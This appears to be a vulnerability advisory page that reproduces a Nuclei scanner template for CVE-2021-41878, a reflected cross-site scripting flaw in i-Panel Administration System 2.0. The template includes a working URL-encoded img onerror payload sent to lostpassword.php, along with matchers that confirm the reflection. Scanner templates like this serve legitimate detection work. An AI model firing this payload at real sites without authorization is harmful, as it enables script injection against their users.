CVE-2021-41878: i-Panel Administration System 2.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: i-Panel Administration System | POC: 已公开

漏洞描述

i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.

PoC代码[已公开]

id: CVE-2021-41878

info:
  name: i-Panel Administration System 2.0 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    i-Panel Administration System 2.0 contains a cross-site scripting vulnerability that enables an attacker to execute arbitrary JavaScript code in the browser-based web console.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cybergroot.com/cve_submission/2021-1/XSS_i-Panel_2.0.html
    - https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-41878
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41878
    - http://packetstormsecurity.com/files/164519/i-Panel-Administration-System-2.0-Cross-Site-Scripting.html
    - https://github.com/Offensive-Penetration-Security/OPSEC-Hall-of-fame
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41878
    cwe-id: CWE-79
    epss-score: 0.22735
    epss-percentile: 0.95674
    cpe: cpe:2.3:a:hkurl:i-panel_administration_system:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: hkurl
    product: i-panel_administration_system
  tags: cve2021,cve,ipanel,xss,packetstorm,hkurl

http:
  - method: GET
    path:
      - '{{BaseURL}}/lostpassword.php/n4gap%22%3E%3Cimg%20src=a%20onerror=alert(%22document.domain%22)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><img src=a onerror=alert("document.domain")>'
          - 'i-Panel Administration'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100deff74b74cf8507a68d4714920a6a180c2352de72a10dc0b1fc5908569c02291022100b3c4159503c9ea0a03c8ed45eb9bd633883fbc2afafc251c5b4dbe9567c6245b:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41878.yaml

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